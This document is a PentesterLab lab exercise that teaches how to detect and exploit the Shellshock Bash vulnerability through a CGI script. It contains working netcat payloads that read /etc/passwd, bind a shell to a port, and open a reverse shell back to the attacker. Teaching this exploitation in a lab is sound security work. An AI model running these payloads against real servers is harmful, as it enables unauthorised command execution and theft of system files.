This exercise covers the exploitation of a Bash vulnerability through a CGI.




Less than an hour

on average


Completed this exercise


This course details the exploitation of the vulnerability CVE-2014-6271. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI".


By visiting the application with a proxy (Burp Suite or OWASP Zap), we can detect that multiple URL are accessed when the page is loaded:

List of URLs loaded

To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGI that will use Bash. CGIs commonly use Python or Perl but it's not uncommon to find (on old servers), CGI written in Shell or even C.

How CGIs work?

When you call a CGI, the web server (Apache here) will start a new process and run the CGI. Here it will start a Bash process and run the CGI script.

Apache needs to pass information to the CGI script. To do so, it uses environment variables. Environment variables are available inside the CGI script. It allows Apache to easily pass every headers (amongst other information) to the CGI. If you have a HTTP header named Blah in your request, you will have an environment variable named HTTP_BLAH available in your CGI.

You can quickly test this by replacing the call to `uptime` by a call to `env` in the CGI. Then if you call this script with arbitrary header, you should see them in the page.

The vulnerability

Here, we are going to focus on the first version of the vulnerability but many more vulnerabilities in the same subpart of Bash have been found since: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187...

The source of the issue is that Bash can have internal function declaration in its environment variable. The first version of the vulnerability is related to the ability to run arbitrary commands after a function declaration.

First, we need to declare that the environment variable is a function using (). Then we will add an empty body for the function. Finally, we can start adding the command we want to run after the function declaration. More details can be found in the following email on oss-sec

If you remember what we said before, Apache uses environment variables to pass headers to the CGI. Since it's a Bash based CGI, we will be able to run arbitrary command by declaring an empty function and add a command after this declaration.


This vulnerability can be exploited using a Proxy with a repeater mode (to be faster) or using netcat.

Multiple payloads can be used depending on what you want to achieve. You can start by reading arbitrary files by using the following payload:

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

This payload will read the content of the file /etc/passwd and echo it in the response.

You will need to inspect the HTTP headers of the response to see the file's content.

Bind shell

If you want to run command, the easiest way is to bind a shell. Basically you will use netcat (or nc) to listen on a port and redirect input and output to /bin/sh.

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
Here, the path to netcat/nc is given. On a real system, you will have to brute force it and it may not be installed.

If the connection starts hanging, it's a really good sign, the CGI is waiting for you to connect. You can then connect to the bound port using:

$ nc vulnerable 9999
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Bind shells suffer from a huge limitation: it's likely that a firewall between you and your victim will prevent you from connecting to the port you just bound. To bypass this, we are going to get the server to connect back to us.

Reverse Shell

We want the server to connect back to us. To do so, we are first going to bind a port on our system. We want a port that the server is likely to have access to, the most common are 21 (FTP), 53 (DNS), 123 (NTP), 80 (HTTP) and 443 (HTTPs) as they are probably used to keep the system up-to-date and to perform every day operations.

We are going to bind the port 443 (You will need to run this command as root or using sudo) using the following command:

# nc -l -p 443

Now, we just need to adapt our payload to get the server to connect back to us on port 443:

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

By going back to our initial netcat, we can now type commands locally and they will be ran on the compromised system:

# nc -l -p 443
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Running a single command

If you are working on the online version, you will only run one command the /usr/local/bin/score [UUID] command. After you run the command, the response from the CGI to the web server will not contain two empty lines and will cause the server to send back a HTTP/500 error back to you. To make sure the attack was successful, you need to check on the website to see if the exercise is marked as score.


This exercise showed you how to manually detect and exploit ShellShock to gain command execution. This kind of vulnerabilities is really interesting and often stays undetected for a long time as it's located deep inside the interaction between components. I hope you enjoyed learning with PentesterLab.